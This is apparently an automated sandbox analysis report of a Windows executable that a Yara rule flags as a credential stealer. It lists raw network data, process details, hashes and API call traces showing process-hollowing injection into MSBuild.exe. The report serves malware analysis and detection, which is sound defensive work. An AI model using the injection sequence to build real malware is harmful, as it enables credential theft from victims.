2024-12-27 07:15:27 UTC	1369	IN	Data Raw: 48 4c 31 63 69 46 61 67 36 39 70 58 72 58 53 44 4d 4f 31 55 73 2f 6d 36 2f 6f 71 53 79 38 57 6e 36 37 55 55 78 50 49 37 6b 49 73 61 74 58 57 30 64 2b 4c 6c 37 6a 47 32 53 73 70 44 71 77 48 41 38 5a 4f 31 6a 5a 44 33 78 59 32 69 79 44 47 6c 30 42 2f 32 36 42 79 66 61 75 5a 4f 6d 76 4c 5a 54 36 52 68 2b 69 32 6e 55 4b 58 67 30 63 36 73 6e 76 58 52 6d 4c 66 37 4b 71 69 76 41 66 44 73 49 64 30 68 71 48 61 63 78 74 35 4c 73 6b 66 59 4f 65 6c 4e 6a 66 6d 6b 77 4a 4f 44 32 75 43 32 76 65 51 6c 73 4f 64 6d 35 5a 6b 4e 77 43 54 69 53 71 62 43 77 6d 32 6f 48 50 41 76 38 78 50 43 32 4c 58 2f 6f 49 6e 34 32 4b 61 72 32 42 69 2f 73 54 71 53 72 52 54 41 52 37 5a 65 74 4d 54 48 55 5a 31 6e 30 54 62 64 4d 70 48 45 6a 37 6d 32 74 50 44 7a 32 49 44 57 4b 64 2f 68 4b 74 71 Data Ascii: HL1ciFag69pXrXSDMO1Us/m6/oqSy8Wn67UUxPI7kIsatXW0d+Ll7jG2SspDqwHA8ZO1jZD3xY2iyDGl0B/26ByfauZOmvLZT6Rh+i2nUKXg0c6snvXRmLf7KqivAfDsId0hqHacxt5LskfYOelNjfmkwJOD2uC2veQlsOdm5ZkNwCTiSqbCwm2oHPAv8xPC2LX/oIn42Kar2Bi/sTqSrRTAR7ZetMTHUZ1n0TbdMpHEj7m2tPDz2IDWKd/hKtq
2024-12-27 07:15:27 UTC	1369	IN	Data Raw: 5a 78 51 76 70 44 46 65 34 39 59 6a 78 33 34 4a 63 44 50 72 73 44 36 6b 4e 48 58 74 6f 48 74 46 36 57 79 4f 64 61 74 45 35 6c 32 34 6d 6d 35 6c 63 31 72 78 32 62 4c 52 64 6f 42 73 49 53 7a 32 36 43 74 39 4f 37 44 72 38 59 4e 6e 62 63 52 38 6f 6b 50 79 31 7a 67 63 61 50 71 32 6d 2b 73 59 59 73 62 2f 41 69 79 30 4c 44 76 6a 4a 4b 6f 68 71 43 43 77 7a 32 75 7a 52 2f 4b 6d 55 2f 4c 58 6f 67 67 67 73 66 56 4f 72 42 66 33 69 4b 72 4b 59 2f 67 30 62 2b 33 6b 4b 6a 34 71 5a 58 6b 54 4a 66 44 4a 76 37 77 4a 4a 5a 59 35 57 32 35 6c 65 35 74 7a 56 37 56 4c 62 55 42 67 74 71 78 75 34 6e 70 33 63 76 64 76 74 67 71 6d 4e 70 6c 79 72 6c 4c 68 45 62 6f 63 72 58 62 78 33 43 4d 65 74 49 35 35 31 57 37 34 4e 48 6e 69 4c 6e 30 67 71 71 79 70 79 2f 45 36 57 48 54 37 6b 32 56 Data Ascii: ZxQvpDFe49Yjx34JcDPrsD6kNHXtoHtF6WyOdatE5l24mm5lc1rx2bLRdoBsISz26Ct9O7Dr8YNnbcR8okPy1zgcaPq2m+sYYsb/Aiy0LDvjJKohqCCwz2uzR/KmU/LXogggsfVOrBf3iKrKY/g0b+3kKj4qZXkTJfDJv7wJJZY5W25le5tzV7VLbUBgtqxu4np3cvdvtgqmNplyrlLhEbocrXbx3CMetI551W74NHniLn0gqqypy/E6WHT7k2V
2024-12-27 07:15:27 UTC	1369	IN	Data Raw: 43 52 38 43 7a 4c 65 4f 4d 44 39 53 6d 31 30 73 33 38 6e 2f 58 32 6d 62 32 73 79 7a 76 45 77 69 6a 78 6b 6a 65 33 57 6f 52 61 6d 63 58 6e 51 4a 42 49 7a 79 62 4c 41 37 50 4d 6a 38 69 58 68 72 62 65 75 5a 53 2b 4b 5a 50 48 42 73 65 78 45 35 67 6d 73 43 6d 49 37 66 35 45 73 47 53 50 48 4e 6f 65 70 76 61 4f 76 62 53 52 30 4e 66 64 6a 74 35 45 6f 2b 30 69 31 6f 38 45 70 45 47 64 51 34 62 67 39 55 6e 49 53 2f 41 6e 39 67 53 6c 30 6f 72 4e 6b 75 72 30 32 37 36 62 79 6a 71 33 37 68 72 56 73 46 62 46 52 72 6c 52 75 4e 44 4f 54 38 6c 50 39 42 2b 31 56 70 37 33 7a 73 6e 37 6a 71 76 58 71 4f 2b 39 42 5a 66 45 4e 2b 57 48 53 59 42 35 70 30 36 55 6d 4d 63 7a 69 31 53 4a 41 2f 6f 66 75 76 69 49 34 75 69 69 2f 6f 50 66 72 74 73 71 73 39 51 77 6b 72 41 6b 71 48 61 49 61 Data Ascii: CR8CzLeOMD9Sm10s38n/X2mb2syzvEwijxkje3WoRamcXnQJBIzybLA7PMj8iXhrbeuZS+KZPHBsexE5gmsCmI7f5EsGSPHNoepvaOvbSR0Nfdjt5Eo+0i1o8EpEGdQ4bg9UnIS/An9gSl0orNkur0276byjq37hrVsFbFRrlRuNDOT8lP9B+1Vp73zsn7jqvXqO+9BZfEN+WHSYB5p06UmMczi1SJA/ofuviI4uii/oPfrtsqs9QwkrAkqHaIa

Target ID:	0
Start time:	02:15:01
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\uUtgy7BbF1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\uUtgy7BbF1.exe"
Imagebase:	0x670000
File size:	19'414'528 bytes
MD5 hash:	425BE48F2D7CC72615C4CDFDA5341832
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:15:01
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:15:02
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\uUtgy7BbF1.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\uUtgy7BbF1.exe"
Imagebase:	0x670000
File size:	19'414'528 bytes
MD5 hash:	425BE48F2D7CC72615C4CDFDA5341832
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1481155531.00000000011C5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1480945277.00000000011C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1480812391.00000000011C4000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	32

Executed Functions

Function 006A619E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,006A6110,006A6100), ref: 006A6334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 006A6347
Wow64GetThreadContext.KERNEL32(00000088,00000000), ref: 006A6365
ReadProcessMemory.KERNELBASE(00000128,?,006A6154,00000004,00000000), ref: 006A6389
VirtualAllocEx.KERNELBASE(00000128,?,?,00003000,00000040), ref: 006A63B4
WriteProcessMemory.KERNELBASE(00000128,00000000,?,?,00000000,?), ref: 006A640C
WriteProcessMemory.KERNELBASE(00000128,00400000,?,?,00000000,?,00000028), ref: 006A6457
WriteProcessMemory.KERNELBASE(00000128,?,?,00000004,00000000), ref: 006A6495
Wow64SetThreadContext.KERNEL32(00000088,02E30000), ref: 006A64D1
ResumeThread.KERNELBASE(00000088), ref: 006A64E0

Strings

GetThreadContext, xrefs: 006A6276
SetThreadContext, xrefs: 006A62C2
VirtualAlloc, xrefs: 006A6263
VirtualAllocEx, xrefs: 006A629C
CreateProcessW, xrefs: 006A6250
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 006A6333
WriteProcessMemory, xrefs: 006A62AF
ress, xrefs: 006A6226
aryA, xrefs: 006A61E2
ReadProcessMemory, xrefs: 006A6289
ResumeThread, xrefs: 006A62D8
Load, xrefs: 006A61DA
GetP, xrefs: 006A621E
TerminateProcess, xrefs: 006A63C3

Memory Dump Source

Source File: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: b203598555573086846a7c071ad5a5e8c97f4e80a135f5e72123d19b03f802c9
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 0EB1F97660024AAFDB60CF68CC80BDA77A5FF89714F158164EA08AB341D774FE52CB94

Function 0068BD42 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,81500716,?,0068BE51,?,?,00000000), ref: 0068BE03

Strings

ext-ms-, xrefs: 0068BDAD
api-ms-, xrefs: 0068BD99

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 603c0cc84a210a6f097dc5fd174ddfd08883448063fda667de7ef9147cb1cdb3
Instruction ID: e646a8712a590da30cc91d6b0b6a391bd81f95b26dff09217e8e6d5e0ce67648
Opcode Fuzzy Hash: 603c0cc84a210a6f097dc5fd174ddfd08883448063fda667de7ef9147cb1cdb3
Instruction Fuzzy Hash: 2221C371A01215BBD721BB64DC41A9A775BEF827A0F252324E916A7391DB70FD01CBD0

Function 00671860 Relevance: 9.2, APIs: 6, Instructions: 162
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 006718E3
GetFileSize.KERNEL32 ref: 00671912
CloseHandle.KERNEL32 ref: 0067192E

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: a7d2ccabfb6886754736f5a55c0660e47ba32658b2922710490ede150095e3b1
Instruction ID: c470a64b974e6e38500708a5f7107ed2a400706748f57c4b8cc4edd14bb299b5
Opcode Fuzzy Hash: a7d2ccabfb6886754736f5a55c0660e47ba32658b2922710490ede150095e3b1
Instruction Fuzzy Hash: DC719EB0D04248CFCB50EFA8D59879DBBF1BF49304F10852AE499AB341D774A945CF56

Function 00684B24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,Ixh,00684BE6,Ixh,00687849,?,00000002,81500716,00687849,00000002), ref: 00684B35
TerminateProcess.KERNEL32(00000000), ref: 00684B3C
ExitProcess.KERNEL32 ref: 00684B4E

Strings

Ixh, xrefs: 00684B26

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID: Ixh
API String ID: 1703294689-612726217
Opcode ID: 600c554964d77fd6f620182605787d1fbd778381783550ade5ed3e256374fc60
Instruction ID: 77c9443c4eb455e198a01cde1163205ae2c4baad4b63aa8bc8777f73c257827a
Opcode Fuzzy Hash: 600c554964d77fd6f620182605787d1fbd778381783550ade5ed3e256374fc60
Instruction Fuzzy Hash: 15D05E31044105AFCF103FE0EC0DA487F2BEF813817004114BA054A035CF71E842DF58

Function 0067A4D0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strcspn.LIBCMT ref: 0067A631
_strcspn.LIBCMT ref: 0067A65F

Strings

@, xrefs: 0067A92F

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: _strcspn
String ID: @
API String ID: 3709121408-2766056989
Opcode ID: 596a681c7787ad2f6befe82ba659bf6b2158ee8e2c66e140c5947ede62ecbe7d
Instruction ID: 93f04faec5c2f63e732a95fa27cb77a228d448a359a54d376137725be7d45a5e
Opcode Fuzzy Hash: 596a681c7787ad2f6befe82ba659bf6b2158ee8e2c66e140c5947ede62ecbe7d
Instruction Fuzzy Hash: 2332B2B4904269CFDB64DF64C981A9DBBF1BF48300F0585AAE84DA7341D734AE85CF52

Function 00671700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 0067176B
VirtualProtect.KERNELBASE ref: 0067181B

Strings

@, xrefs: 0067180F

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual
String ID: @
API String ID: 621788221-2766056989
Opcode ID: 2887ce59871ffe55eee7fc586bbfc662c00d94e9f9e5a327e0f14f38e3d33b0f
Instruction ID: 4f131c163662e9c713126eaec6b656bbf798067b498550cacc87258486db78af
Opcode Fuzzy Hash: 2887ce59871ffe55eee7fc586bbfc662c00d94e9f9e5a327e0f14f38e3d33b0f
Instruction Fuzzy Hash: 7841CEB0D002089FCB44EFA9D98469EBBF1EF49314F10C41AE868AB351D775A984CF95

Function 0068481D Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_00014935,00000000,?,?), ref: 00684866
GetLastError.KERNEL32(?,00000000,00000000,?,0067B58D), ref: 00684872
__dosmaperr.LIBCMT ref: 00684879

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 84b96c8151572e5668b43d5bbd8b1a15224659867973c3032e3ec25d4d75b4e1
Instruction ID: 3aff8adfdb20725f4feafeb2858a00d70749215435306a495475d744de47f5bc
Opcode Fuzzy Hash: 84b96c8151572e5668b43d5bbd8b1a15224659867973c3032e3ec25d4d75b4e1
Instruction Fuzzy Hash: 7B01B1B2A0025ABFDF15BFA0DC06AEE7B6AEF40360F004258F90196290DF75DE50DB90

Function 006849B3 Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0068B104: GetLastError.KERNEL32(00000000,?,00686BB6,0068C132,?,?,0068B000,00000001,00000364,?,00000005,000000FF,?,0068495A,006A56B0,0000000C), ref: 0068B108
Part of subcall function 0068B104: SetLastError.KERNEL32(00000000), ref: 0068B1AA

CloseHandle.KERNEL32(?,?,?,006848AD,?,?,00684993,00000000), ref: 006849E4
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,006848AD,?,?,00684993,00000000), ref: 006849FA
ExitThread.KERNEL32 ref: 00684A03

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: 94e04f1b45f6e95d6ea1aba4be1532566f3b56dbee543e9427d9ff52ae3297cb
Instruction ID: 7dee2056df96d3b44c276f632184c04767264c67920172ec70cae46e7969e9b2
Opcode Fuzzy Hash: 94e04f1b45f6e95d6ea1aba4be1532566f3b56dbee543e9427d9ff52ae3297cb
Instruction Fuzzy Hash: 84F0BE30044202ABCB347B34AC88A9B3B9B7F01320B180714F92ACA6A4EF70EC41CB58

Function 0067B510 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 0067B5BB

Strings

M*g, xrefs: 0067B5C8

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID: M*g
API String ID: 2134207285-1002372946
Opcode ID: 46ff799e856364de568455c0e3cb9da67051a3659ce3629fb9fffcda8dc8cb22
Instruction ID: 4263fee9095a70ee1bf50cdbe2eec8026a02dbe9583a7814a067f85605d60cf2
Opcode Fuzzy Hash: 46ff799e856364de568455c0e3cb9da67051a3659ce3629fb9fffcda8dc8cb22
Instruction Fuzzy Hash: C321E7B0904209DFDB44EFA8C4517AEBBF1BF48300F00886DE449AB351EB74AA44CF95

Function 00692D15 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006930BF: GetConsoleOutputCP.KERNEL32(81500716,00000000,00000000,?), ref: 00693122

WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,?,S'h,006824F1,?,S'h), ref: 00692E9A
GetLastError.KERNEL32(?,00682753,?,?,?,?,?,?,?,?,?,?,?), ref: 00692EA4

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 317911a6ae18b3d94c5b8df15858b01900cd39e323b99c2da6b9136e1d95d749
Instruction ID: 46bae9d991a01de5c7cbc61ce1d3e2cfa955117417448f6ed47bfeabb95ac734
Opcode Fuzzy Hash: 317911a6ae18b3d94c5b8df15858b01900cd39e323b99c2da6b9136e1d95d749
Instruction Fuzzy Hash: F161A171D0411ABFDF11DFA8D894AEEBBBEAF19704F140149E800A7652D732DA06DBA0

Function 006934EE Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00692E80,?,00682753,?,?,?,00000000), ref: 0069358A
GetLastError.KERNEL32(?,00692E80,?,00682753,?,?,?,00000000,?,?,?,?,S'h,006824F1,?,S'h), ref: 006935B0

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: db5fc87027b1e68f4f67fb2bdc2575542f8bca9e01ec34f82cb8d4a8b1200ee7
Instruction ID: 79550c85e47a2e68ad8a49123a5b9d65ed6474d079fecf2a1854dee8914f6348
Opcode Fuzzy Hash: db5fc87027b1e68f4f67fb2bdc2575542f8bca9e01ec34f82cb8d4a8b1200ee7
Instruction Fuzzy Hash: F9214B35A002299BCF19DF29DC809E9B7BAAB8D305B1540A9E906D7311D630EE468B64

Function 0068C862 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,0068C751,006A5BA0), ref: 0068C8AE
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,0068C751,006A5BA0), ref: 0068C8C0

Memory Dump Source

Source File: 00000000.00000002.1336929977.0000000000671000.00000020.00000001.01000000.00000003.sdmp, Offset: 00670000, based on PE: true

Associated: 00000000.00000002.1336909550.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336952749.000000000069C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336967259.00000000006A6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336981031.00000000006A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1336994602.00000000006AA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1337007642.00000000006AC000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_670000_uUtgy7BbF1.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: cef7775599e5801286948877681b1e3c4076c39a8dc68ff07a5ab8616f5fa080
Instruction ID: b6eea4b67847296d47687fcb87c68f4559b8575e01e75e5aaba3f3e9b5807d1d
Opcode Fuzzy Hash: cef7775599e5801286948877681b1e3c4076c39a8dc68ff07a5ab8616f5fa080
